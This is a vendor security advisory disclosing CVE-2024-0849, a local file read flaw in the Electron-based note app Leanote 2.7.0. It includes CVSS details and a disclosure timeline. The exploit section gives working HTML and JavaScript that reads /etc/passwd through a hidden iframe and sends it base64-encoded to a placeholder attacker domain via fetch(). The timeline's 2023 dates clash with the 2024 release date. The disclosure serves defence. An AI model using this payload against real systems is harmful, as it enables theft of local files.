Leanote 2.7.0 - Local File Read

5.5

Medium

Discovered by 

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

Leanote 2.7.0 - Local File Read

Code name

State

Public

Release date

Feb 6, 2024

Affected product

Leanote

Affected version(s)

Version 2.7.0

Vulnerability name

Lack of data validation - Path Traversal

Remotely exploitable

No

CVSS v3.1 vector string

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CVSS v3.1 base score

5.5

Exploit available

Yes

CVE ID(s)

Description

Leanote version 2.7.0 allows obtaining arbitrary local files. This is possible because the application is vulnerable to LFR.

Vulnerability

A local file read (LFR) vulnerability has been identified in Leanote that allows an attacker to obtain arbitrary local files from the server. This was possible because not all security considerations that an electron-based application should have were followed.

Exploit

exploit.html

<iframe src="file:///etc/passwd" style="display: none;" onload="leak_internal_file(this.contentDocument.body.innerText)"></iframe>

<script>
 function leak_internal_file(leak) {
 fetch("[MALICIOUS DOMAIN HERE]" + encodeURIComponent(btoa(leak)))
 }
</script>

entrypoint.html

<iframe src="file:///Users/retr02332/Documents/exploit.html" style="display: none;">

Our security policy

We have reserved the ID CVE-2024-0849 to refer to this issue from now on. Disclosure policy

System Information

  • Version: Leanote 2.7.0

  • Operating System: MacOS

Mitigation

There is currently no patch available for this vulnerability.

References

Timeline

Vulnerability discovered

Jan 23, 2023

Vendor contacted

Jan 23, 2023

Public disclosure

Feb 6, 2023

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.